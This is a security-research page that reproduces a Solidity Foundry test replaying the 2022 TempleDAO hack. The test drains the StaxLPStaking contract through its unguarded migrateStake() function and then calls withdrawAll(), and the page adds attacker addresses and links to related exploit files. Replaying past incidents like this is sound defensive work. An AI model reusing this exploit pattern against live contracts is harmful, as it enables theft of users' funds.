Public reproduction file
src/test/2022-10/Templedao_exp.sol
Public reproduction file for dataset entry Templedao.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : $~2.3M8// Attacker : 0x9c9fb3100a2a521985f0c47de3b4598dafd25b019// Attack Contract : https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e010// Vulnerable Contract : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d6513794111// Attack Tx : https://etherscan.io/tx/0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b513// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941#code#F1#L24116// @Analysis17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/157984388189376922218// Twitter FrankResearcher : https://twitter.com/FrankResearcher/status/157984034764741427219// Twitter Spreek : https://twitter.com/spreekaway/status/157983656233836134520// Rekt news : https://rekt.news/templedao-rekt/21// Root cause: Insufficient access control of the `migrateStake()` function.23interface IStaxLPStaking {24 function migrateStake(address oldStaking, uint256 amount) external;25 function withdrawAll(26 bool claim27 ) external;28}30contract ContractTest is Test {31 IERC20 constant xFraxTempleLP = IERC20(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9);32 IStaxLPStaking constant StaxLPStaking = IStaxLPStaking(0xd2869042E12a3506100af1D192b5b04D65137941);34 function setUp() public {35 vm.createSelectFork("mainnet", 15_725_066);36 // Adding labels to improve stack traces' readability37 vm.label(address(xFraxTempleLP), "xFraxTempleLP");38 vm.label(address(StaxLPStaking), "StaxLPStaking");39 }41 function testExploit() public {42 emit log_named_decimal_uint(43 "[Start] Attacker xFraxTempleLP balance before exploit", xFraxTempleLP.balanceOf(address(this)), 1844 );46 uint256 lpbalance = xFraxTempleLP.balanceOf(address(StaxLPStaking));48 // Perform migrateStake()49 StaxLPStaking.migrateStake(address(this), lpbalance);51 // Perform withdrawAll()52 StaxLPStaking.withdrawAll(false);54 emit log_named_decimal_uint(55 "[End] Attacker xFraxTempleLP balance after exploit", xFraxTempleLP.balanceOf(address(this)), 1856 );57 }59 function migrateWithdraw(60 address,61 uint25662 )63 public //callback64 {}65}Analysis
Dataset entry
Public Foundry test for “Templedao” (2022-10-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x9c9fb3100a2a521985f0c47de3b4598dafd25b01
- Attack Contract
0x2df9c154fe24d081cfe568645fb4075d725431e0
- Vulnerable Contract
0xd2869042e12a3506100af1d192b5b04d65137941
- Attack Tx
0x8c3f442fc6d640a6ff3ea0b12be64f1d4609ea94edd2966f42c01cd9bdcf04b5
- Twitter: https://twitter.com/BlockSecTeam/status/1579843881893769222
- Twitter: https://twitter.com/FrankResearcher/status/1579840347647414272
- Twitter: https://twitter.com/spreekaway/status/1579836562338361345
- Explorer: https://etherscan.io/address/0x2df9c154fe24d081cfe568645fb4075d725431e0
- Explorer: https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941
- Explorer: https://etherscan.io/address/0xd2869042e12a3506100af1d192b5b04d65137941#code#F1#L241
File record
- Name
- Templedao
- Path
- src/test/2022-10/Templedao_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e83dd330b08ced761136e077f938feb599b13723
- Language
- Solidity
- Size
- 66 lines
- Date
- 2022-10-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/Templedao_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e83dd330b08ced761136e077f938feb599b13723, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.